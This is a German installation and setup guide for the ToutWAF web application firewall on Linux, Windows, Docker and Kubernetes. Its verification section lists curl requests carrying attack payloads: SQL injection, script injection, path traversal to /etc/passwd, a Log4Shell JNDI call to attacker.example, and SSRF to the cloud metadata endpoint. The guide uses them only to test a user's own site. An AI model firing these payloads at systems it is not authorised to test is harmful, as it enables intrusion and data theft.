ToutWAF Schritt für Schritt installieren
Zum Kopieren und Einfügen: Anleitungen für AlmaLinux 10, andere Linux-Distributionen, Windows, Docker und Kubernetes. Native Binaries: keine Laufzeitumgebung nötig. Danach Assistent ausführen, DNS umstellen und prüfen.
Welche Version Sie installieren
Die öffentliche Version ist eine Entwicklungsversion mit dem Namen 0.3.0-dev. Ihr Name bleibt gleich: Jede Veröffentlichung ersetzt die vorherige, und eine Build-Kennung unterscheidet zwei Builds. Eine stabile Version gibt es noch nicht: Sie wird erst veröffentlicht, wenn jedes System und jedes Paket durchgängig getestet wurde. Die Befehle auf dieser Seite installieren deshalb aus dem Kanal dev. Eine Entwicklungsversion kann Fehler enthalten: Probieren Sie sie auf einer Test-Site aus, bevor Sie sich darauf verlassen.
Voraussetzungen
Ein 64-Bit-Server (amd64 oder arm64) mit Linux oder Windows, Root- oder Administratorzugriff und freie Ports 80 und 443. Die Konsole lauscht auf Port 9443 unter einem geheimen Pfad. Die Details zu Voraussetzungen und Abhängigkeiten stehen direkt darunter.
Voraussetzungen und Abhängigkeiten
Was Ihr Server braucht, was der Installer hinzufügt und was optional bleibt.
Unterstützte Systeme
Linux mit systemd 239 oder neuer und glibc 2.28 oder neuer, auf amd64 oder arm64: AlmaLinux, Rocky Linux, RHEL und Oracle Linux 8 bis 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11 bis 13, Ubuntu 20.04 bis 26.04, openSUSE und Arch (vollständige Tabelle unten). Windows 10, 11 und Server 2016 bis 2025 (noch nicht auf einem echten Windows-Host ausgeführt). Der Installer prüft Ihr System, bevor er etwas ändert. Server, die Sie aus der Konsole hinzufügen: Den Host-Agenten gibt es für Linux (amd64, arm64) und Windows (amd64).
Netzwerk-Ports
80 und 443: Web-Verkehr (Data Plane). 9443: Konsole (änderbar mit --cp-port). 9444: API für Data-Plane-Knoten und Server-Agenten; der Installer öffnet sie nicht, geben Sie sie nur von Ihren eigenen Servern frei. 127.0.0.1:9101: lokaler Health-Endpunkt. UDP 443 bleibt geschlossen (HTTP/3 ist nicht implementiert). Server-Agenten bauen nur ausgehende Verbindungen zu Port 9444 auf.
Was der Installer tut
Benötigt Root- oder Administratorrechte und ausgehendes HTTPS, um die Version herunterzuladen. Installiert curl, tar und libcap, falls sie fehlen (und policycoreutils-python-utils auf SELinux-Systemen), legt einen unprivilegierten Benutzer toutwaf und ein einziges Installationsverzeichnis an (/var/toutwaf mit bin, conf, data und logs; --home DIR ändert es, und eine ältere Installation behält ihre Pfade), installiert gehärtete systemd-Dienste (Windows-Dienste unter Windows), erlaubt dem Data Plane die Ports 80 und 443 ohne Root, öffnet die Firewall standardmäßig, wenn firewalld oder ufw aktiv ist (80, 443 und der Konsolenport; --console-from beschränkt die Konsole, --no-firewall schaltet es ab), setzt SELinux-Labels und prüft SHA-256-Summen.
Sprache des Installers
Standardmäßig Englisch; der Installer erkennt die Systemsprache. Erzwingen Sie eine mit --fr --de --es --it --pt --nl --ru --zh --ar oder --en (Windows: -Fr usw. oder die Variable TOUTWAF_LANG).
Eigenständige Binärdateien
Der Data Plane ist in Rust geschrieben, Control Plane und Agent in Go, die Konsole ist in den Control Plane eingebettet. Keine Python-, Node.js- oder Java-Laufzeit und kein Datenbankserver nötig: Die Daten liegen in SQLite. Der Rust-Data-Plane benötigt glibc 2.28 oder neuer. Wichtigste Drittkomponenten: tokio, hyper und rustls (Rust), Svelte und xterm.js (Konsole).
Optionale Komponenten
ClamAV für Virenscans auf Linux-Hosts (die Konsole kann es für Sie installieren); Microsoft Defender unter Windows. openssl nur, wenn Sie die Signaturprüfung der Versionen aktivieren, cosign nur, wenn Signaturen damit geprüft werden sollen. Docker ist nicht nötig: Die Docker- und Kubernetes-Manifeste sind alternative Bereitstellungswege.
ToutPanel (Webhosting-Server)
Wird über SSH aus der Konsole oder mit eigenem Installer installiert. Linux: Debian 11 bis 13, Ubuntu 20.04 bis 24.04, AlmaLinux, Rocky Linux und RHEL 9 und 10, Fedora ab 40. Windows 10 und 11, Windows Server 2016 bis 2025. Benötigt root und bash (Linux) bzw. eine PowerShell 5.1+ als Administrator (Windows), Python 3.9 bis 3.14 (vom Skript installiert, wenn die Distribution es bietet), mindestens 1 GB RAM (2 GB empfohlen mit MariaDB und PHP), 2 GB freien Speicher plus Ihre Sites und ausgehendes HTTPS. Das Panel lauscht standardmäßig auf Port 8888; die Ports 80 und 443 bedienen die Sites. Quelle: das ToutPanel-README.
ToutWAF veröffentlicht noch keine Mindestwerte für CPU, RAM oder Speicher: Dimensionieren Sie Ihren Server mit einem Test auf Ihrem eigenen Traffic.
Unterstützte Systeme
Vom Installer geprüft, bevor er etwas ändert. Die Status stammen aus den eigenen Daten des Installers.
- tested Der vollständige Container-Installationstest wurde auf genau dieser Version bestanden.
- expected Gleiche Familie, ausreichend neue glibc und systemd, aber der vollständige Test wurde nicht ausgeführt.
- unsupported Vor jeder Änderung abgelehnt (auf eigene Gefahr mit --skip-os-check übergehbar).
| Distribution | Versionen |
|---|---|
| AlmaLinux | 10tested9tested8tested |
| Rocky Linux | 10tested9tested8tested |
| Red Hat Enterprise Linux | 10tested9tested8tested7unsupported |
| CentOS Stream | 10tested9tested8unsupported7unsupported |
| Oracle Linux | 10tested9tested8tested7unsupported |
| Fedora | 44tested43tested42tested41tested |
| Amazon Linux | 2023tested2unsupported |
| Debian | 13tested12tested11tested10unsupported |
| Ubuntu | 26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported |
| Linux Mint / LMDE | alle Versionenexpected |
| Pop!_OS | alle Versionenexpected |
| Zorin OS | alle Versionenexpected |
| elementary OS | alle Versionenexpected |
| Kali Linux | rollingexpected |
| Raspberry Pi OS (32-bit, Raspbian) | alle Versionenunsupported |
| Devuan | alle Versionenunsupported |
| openSUSE Leap | 16.0tested15.6tested |
| openSUSE Tumbleweed | rollingtested |
| openSUSE Slowroll | rollingexpected |
| SUSE Linux Enterprise Server | 16.0expected15.7expected15.6expected |
| SUSE Linux Micro / MicroOS / Aeon | alle Versionenunsupported |
| openSUSE MicroOS / Aeon / Kalpa | alle Versionenunsupported |
| Arch Linux | rollingtested |
| Manjaro | rollingexpected |
| EndeavourOS | rollingexpected |
| Garuda Linux | rollingexpected |
| CachyOS | rollingexpected |
| Artix Linux | alle Versionenunsupported |
| Alpine Linux | alle Versionenunsupported |
| Void Linux | alle Versionenunsupported |
| NixOS | alle Versionenunsupported |
| Windows | Windows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected |
Der Einrichtungsassistent: von null zur geschützten Site
Beim ersten Start führt Sie der Web-Assistent von null zu einer geschützten Site, im Erkennungsmodus und ohne etwas kaputt zu machen.
Domain und Origin
Geben Sie die öffentliche Domain und die Adresse Ihres Servers ein.
Automatisches Zertifikat
Ein Zertifikat der von Ihnen gewählten Zertifizierungsstelle (standardmäßig Let's Encrypt) wird für Sie angefordert und erneuert.
Stack-Erkennung
ToutWAF erkennt WordPress, Laravel, Django und mehr.
Richtlinienvorlage
Eine passende Vorlage wird vorgeschlagen. Prüfen Sie sie oder behalten Sie den Standard.
Erkennungsmodus
Der Verkehr wird einige Tage ohne Blockieren analysiert, danach wird ein Bericht erstellt.
Auf Blockieren umschalten
Ein Klick zum Durchsetzen, ein Klick zum Zurückrollen.
- ✓99,8 % des Verkehrs würden erlaubt
- !3 Regeln verursachen 95 % der Fehlalarme
- ✓3 Ausnahmen vorgeschlagen, bereit zur Prüfung
System aktualisieren und Voraussetzungen installieren
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsMit dem Einzeiler-Installer installieren
Das Skript lädt die nativen Binaries für Ihre Architektur herunter, legt einen dedizierten unprivilegierten Benutzer an und installiert die gehärteten systemd-Dienste toutwaf-dp (Data Plane, Ports 80 und 443) und toutwaf-cp (Control Plane und Konsole, Port 9443). Anschließend zeigt es Ihre Erstanmeldedaten an.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashLieber das Skript zuerst lesen?
Herunterladen, prüfen, dann ausführen. Empfohlen für Produktionsserver.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shInstaller-Optionen
Eine neue Installation liegt in einem einzigen Verzeichnis, /var/toutwaf (bin, conf, data und logs; änderbar mit --home DIR oder TOUTWAF_HOME), und die Kommandozeilenwerkzeuge werden nach /usr/local/bin verlinkt. Eine ältere Installation behält ihre eigenen Pfade (/etc/toutwaf, /var/lib/toutwaf) und wird nie verschoben.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devFirewall öffnen
Der Installer öffnet diese Ports standardmäßig, wenn firewalld oder ufw aktiv ist: 80 und 443 sowie den Konsolenport 9443 (mit --console-from auf Ihr Admin-Netz beschränken). Der Agent-Port 9444 wird nie öffentlich geöffnet. Diese Befehle brauchen Sie nur mit --no-firewall, bei einer anderen Firewall oder für die manuelle Einrichtung.
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-allSELinux
Lassen Sie SELinux im Enforcing-Modus. Beschriften Sie die ToutWAF-Verzeichnisse und achten Sie darauf, dass keine AVC-Ablehnung protokolliert wird.
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recentDienste verwalten
Beide Dienste starten beim Booten. Mit diesen Befehlen starten, stoppen oder neu starten Sie sie.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpDienste prüfen
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerAktualisieren
Konfiguration und Daten sichern und den Installer erneut ausführen: Er behält Ihre Einstellungen und macht selbst ein Rollback, wenn die neue Version nicht gesund startet. Die gezeigten Pfade gelten für eine neue Installation (/var/toutwaf); eine ältere Installation behält /etc/toutwaf und /var/lib/toutwaf. Sie können auch in der Konsole auf der Seite Updates aktualisieren.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDeinstallieren
Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeSystem aktualisieren und Voraussetzungen installieren
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsMit dem Einzeiler-Installer installieren
Das Skript lädt die nativen Binaries für Ihre Architektur herunter, legt einen dedizierten unprivilegierten Benutzer an und installiert die gehärteten systemd-Dienste toutwaf-dp (Data Plane, Ports 80 und 443) und toutwaf-cp (Control Plane und Konsole, Port 9443). Anschließend zeigt es Ihre Erstanmeldedaten an.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashLieber das Skript zuerst lesen?
Herunterladen, prüfen, dann ausführen. Empfohlen für Produktionsserver.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shInstaller-Optionen
Eine neue Installation liegt in einem einzigen Verzeichnis, /var/toutwaf (bin, conf, data und logs; änderbar mit --home DIR oder TOUTWAF_HOME), und die Kommandozeilenwerkzeuge werden nach /usr/local/bin verlinkt. Eine ältere Installation behält ihre eigenen Pfade (/etc/toutwaf, /var/lib/toutwaf) und wird nie verschoben.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devDienste verwalten
Beide Dienste starten beim Booten. Mit diesen Befehlen starten, stoppen oder neu starten Sie sie.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpDienste prüfen
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerAktualisieren
Konfiguration und Daten sichern und den Installer erneut ausführen: Er behält Ihre Einstellungen und macht selbst ein Rollback, wenn die neue Version nicht gesund startet. Die gezeigten Pfade gelten für eine neue Installation (/var/toutwaf); eine ältere Installation behält /etc/toutwaf und /var/lib/toutwaf. Sie können auch in der Konsole auf der Seite Updates aktualisieren.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDeinstallieren
Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeVoraussetzungen installieren (apt)
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufwMit dem Einzeiler-Installer installieren
Das Skript lädt die nativen Binaries für Ihre Architektur herunter, legt einen dedizierten unprivilegierten Benutzer an und installiert die gehärteten systemd-Dienste toutwaf-dp (Data Plane, Ports 80 und 443) und toutwaf-cp (Control Plane und Konsole, Port 9443). Anschließend zeigt es Ihre Erstanmeldedaten an.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashLieber das Skript zuerst lesen?
Herunterladen, prüfen, dann ausführen. Empfohlen für Produktionsserver.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shInstaller-Optionen
Eine neue Installation liegt in einem einzigen Verzeichnis, /var/toutwaf (bin, conf, data und logs; änderbar mit --home DIR oder TOUTWAF_HOME), und die Kommandozeilenwerkzeuge werden nach /usr/local/bin verlinkt. Eine ältere Installation behält ihre eigenen Pfade (/etc/toutwaf, /var/lib/toutwaf) und wird nie verschoben.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devFirewall öffnen (ufw)
Der Installer öffnet diese Ports standardmäßig, wenn firewalld oder ufw aktiv ist: 80 und 443 sowie den Konsolenport 9443 (mit --console-from auf Ihr Admin-Netz beschränken). Der Agent-Port 9444 wird nie öffentlich geöffnet. Diese Befehle brauchen Sie nur mit --no-firewall, bei einer anderen Firewall oder für die manuelle Einrichtung.
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw statusDienste verwalten
Beide Dienste starten beim Booten. Mit diesen Befehlen starten, stoppen oder neu starten Sie sie.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpDienste prüfen
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerAktualisieren
Konfiguration und Daten sichern und den Installer erneut ausführen: Er behält Ihre Einstellungen und macht selbst ein Rollback, wenn die neue Version nicht gesund startet. Die gezeigten Pfade gelten für eine neue Installation (/var/toutwaf); eine ältere Installation behält /etc/toutwaf und /var/lib/toutwaf. Sie können auch in der Konsole auf der Seite Updates aktualisieren.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDeinstallieren
Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgePowerShell als Administrator öffnen und den Installer ausführen
Installiert die nativen Binaries, registriert den Windows-Dienst ToutWAF für die Data Plane und eine Startaufgabe für die Konsole und öffnet die Firewall-Ports. Der Installer wurde noch nicht auf einem echten Windows-Host ausgeführt.
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iexFirewall öffnen
Der Installer öffnet diese Ports standardmäßig, wenn firewalld oder ufw aktiv ist: 80 und 443 sowie den Konsolenport 9443 (mit --console-from auf Ihr Admin-Netz beschränken). Der Agent-Port 9444 wird nie öffentlich geöffnet. Diese Befehle brauchen Sie nur mit --no-firewall, bei einer anderen Firewall oder für die manuelle Einrichtung.
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action AllowDienste prüfen
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443Aktualisieren
Konfiguration und Daten sichern und den Installer erneut ausführen: Er behält Ihre Einstellungen und macht selbst ein Rollback, wenn die neue Version nicht gesund startet. Die gezeigten Pfade gelten für eine neue Installation (/var/toutwaf); eine ältere Installation behält /etc/toutwaf und /var/lib/toutwaf. Sie können auch in der Konsole auf der Seite Updates aktualisieren.
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -YesDeinstallieren
Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -PurgeDocker Compose auf Mac oder Linux
Docker Compose unter Linux oder auf einem Mac (Docker Desktop, OrbStack, Colima) mit dem All-in-one-Image (Control Plane und Data Plane). Die Dateien kommen mit Ihrer ToutWAF-Distribution (der Ordner deploy, der nicht im öffentlichen Repository liegt: Dieses enthält nur Binärdateien und Installer). Das Image enthält vorkompilierte Binärdateien je Architektur (bin/amd64 oder bin/arm64), und es wird noch kein Image in einer Registry veröffentlicht. Nur auf Linux amd64 getestet; auf einem echten Mac ungetestet, wo die hinter Docker Desktop sichtbare Client-IP die Docker-Gateway-Adresse ist. Die einmaligen Zugangsdaten erscheinen einmal im Log der Control Plane.
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cpAktualisieren (Container)
Erstellen Sie zuerst eine Sicherung. Die Update-Schaltfläche der Konsole kann in einem Container nicht funktionieren: Ersetzen Sie die Binärdateien im Ordner bin (oder das Image, sobald eines veröffentlicht ist) und bauen Sie neu; die Volumes und damit Ihre Daten bleiben erhalten.
docker compose up -d --buildDeinstallieren
Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.
docker compose downdocker compose down -vMit Helm installieren
Stellt die Data Plane als Ingress bereit, auf Wunsch mit einer Control Plane im Cluster. Das Chart und die Manifeste (einschließlich Sidecar-Modus) liegen im Ordner deploy Ihrer ToutWAF-Distribution, nicht im öffentlichen Repository, das nur Binärdateien und Installer enthält. Der Operator besteht aus CRDs und einem Gerüst.
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yamlPods prüfen und Konsole öffnen
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443Aktualisieren (Container)
Erstellen Sie zuerst eine Sicherung. Die Update-Schaltfläche der Konsole kann in einem Container nicht funktionieren: Ersetzen Sie die Binärdateien im Ordner bin (oder das Image, sobald eines veröffentlicht ist) und bauen Sie neu; die Volumes und damit Ihre Daten bleiben erhalten.
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yamlDeinstallieren
Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.
helm uninstall toutwaf --namespace toutwafkubectl delete namespace toutwafNach der Installation: konfigurieren und prüfen
Erste Anmeldung
Öffnen Sie den geheimen Konsolenlink, der am Ende der Installation angezeigt wird (die Konsole antwortet nur unter diesem Pfad), und nutzen Sie den einmaligen Einrichtungslink oder das einmalig in der Zusammenfassung erzeugte Administratorpasswort. Aktivieren Sie sofort die Zwei-Faktor-Authentifizierung und legen Sie einen zweiten Administrator an, damit Sie nie ausgesperrt sind.
Console : https://<server>:9443/<secret-path>/ (printed by the installer)
CLI : toutwafctl --help
Health : http://127.0.0.1:9101/healthz (data plane, local only)Erste Site hinzufügen
Klicken Sie unter Sites auf Neue Site und geben Sie die öffentliche Domain und den Upstream (die echte Adresse Ihres Servers) ein. Starten Sie im reinen Erkennungsmodus und schalten Sie auf Blockieren um, sobald der Bericht sauber aussieht. Sites lassen sich auch per REST-API und API-Token anlegen.
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
-H "Authorization: Bearer $TOUTWAF_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'DNS umstellen
Senken Sie die TTL Ihrer Einträge einen Tag vorher. Richten Sie dann die A- / AAAA-Einträge der Domain auf den ToutWAF-Server. Sobald das DNS propagiert ist, wird das Zertifikat ausgestellt. Beschränken Sie die Firewall Ihres Origin so, dass nur der ToutWAF-Server ihn erreichen kann.
example.com. 300 IN A 203.0.113.10
www.example.com. 300 IN CNAME example.com.sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcpMit Testangriffen prüfen
Jede dieser Anfragen muss 403 liefern und unter Angriffe erscheinen (im Blockiermodus). Führen Sie sie nur gegen Ihre eigenen Sites aus.
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/Fehlerbehebung
Die Konsole ist auf Port 9443 nicht erreichbar
Starten Sie den ToutWAF-Doktor auf dem Server: Er prüft Dienste, Ports und Firewall der Maschine und sagt, was zu tun ist. Er funktioniert auch über die Kommandozeile, wenn die Konsole selbst nicht erreichbar ist; eine Cloud-Sicherheitsgruppe vor dem Server muss ebenfalls Port 9443 durchlassen.
Legitime Anfragen werden blockiert (Fehlalarme)
Öffnen Sie das Ereignis unter Angriffe, lesen Sie die Erklärung und klicken Sie auf die Fehlalarm-Schaltfläche, um die engste Ausnahme zu erstellen, oder senken Sie das Paranoia-Level der Site.
502 Bad Gateway
ToutWAF erreicht Ihren Origin nicht. Öffnen Sie den ToutWAF-Doktor, Zeile „Origin-Server“: Er sagt, ob der Port die Verbindung verweigert, der Name nicht aufgelöst wird oder das Zertifikat nicht vertrauenswürdig ist, und was zu tun ist. Prüfen Sie auch die Firewall des Origin.
Die Ausstellung bei Let's Encrypt schlägt fehl
Der ToutWAF-Doktor prüft vor einer Bestellung das DNS (auch einen bei einem CDN oder Proxy vergessenen AAAA-Eintrag) und die Erreichbarkeit von Port 80. Für ein Wildcard-Zertifikat nutzen Sie die DNS-01-Challenge.
In meiner App stimmt die echte Client-IP nicht
Lesen Sie den von ToutWAF gesetzten Header X-Forwarded-For und vertrauen Sie ihm nur, wenn er von der Adresse des ToutWAF-Servers kommt.
Wo sind die Logs?
Nutzen Sie die Seiten Logs und Ereignisse der Konsole. Die Dienste schreiben außerdem in das Systemjournal der Maschine, und der Doktor erzeugt einen Textbericht, den Sie an den Support schicken können.